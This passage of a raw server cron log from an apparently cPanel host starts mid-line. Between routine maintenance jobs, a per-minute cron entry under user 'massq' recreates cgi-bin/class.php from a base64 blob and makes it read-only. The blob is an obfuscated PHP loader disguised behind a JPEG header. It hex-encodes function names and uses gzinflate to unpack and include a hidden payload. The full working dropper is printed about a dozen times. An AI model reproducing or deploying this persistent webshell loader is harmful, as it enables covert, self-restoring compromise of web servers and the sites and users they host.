IJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:16:01 server CROND[22658]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:17:01 server CROND[23257]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:17:01 server CROND[23258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:17:01 server CROND[23259]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:18:01 server CROND[23636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:18:01 server CROND[23635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:18:01 server CROND[23637]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:19:01 server CROND[24003]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:19:01 server CROND[24002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:19:01 server CROND[24004]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:20:01 server CROND[24388]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 01:20:01 server CROND[24389]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 01:20:01 server CROND[24391]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 01:20:01 server CROND[24404]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 01:20:01 server CROND[24409]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 01:20:01 server CROND[24410]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:20:01 server CROND[24403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:20:01 server CROND[24413]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:20:01 server CROND[24411]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 01:21:01 server CROND[25324]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:21:01 server CROND[25325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:21:01 server CROND[25326]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:22:01 server CROND[25691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:22:01 server CROND[25692]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:22:01 server CROND[25693]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:23:01 server CROND[26071]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:23:01 server CROND[26072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:23:01 server CROND[26073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:24:01 server CROND[26496]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:24:01 server CROND[26497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:24:01 server CROND[26498]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:25:01 server CROND[26884]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:25:01 server CROND[26888]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 01:25:01 server CROND[26885]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 01:25:01 server CROND[26886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:25:01 server CROND[26887]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:25:01 server CROND[26890]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 01:25:01 server CROND[26889]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 01:26:01 server CROND[27774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:26:01 server CROND[27775]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:26:01 server CROND[27776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:27:01 server CROND[28185]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:27:01 server CROND[28187]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:27:01 server CROND[28189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:27:01 server CROND[28186]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 01:28:01 server CROND[28563]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:28:01 server CROND[28564]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:28:01 server CROND[28565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
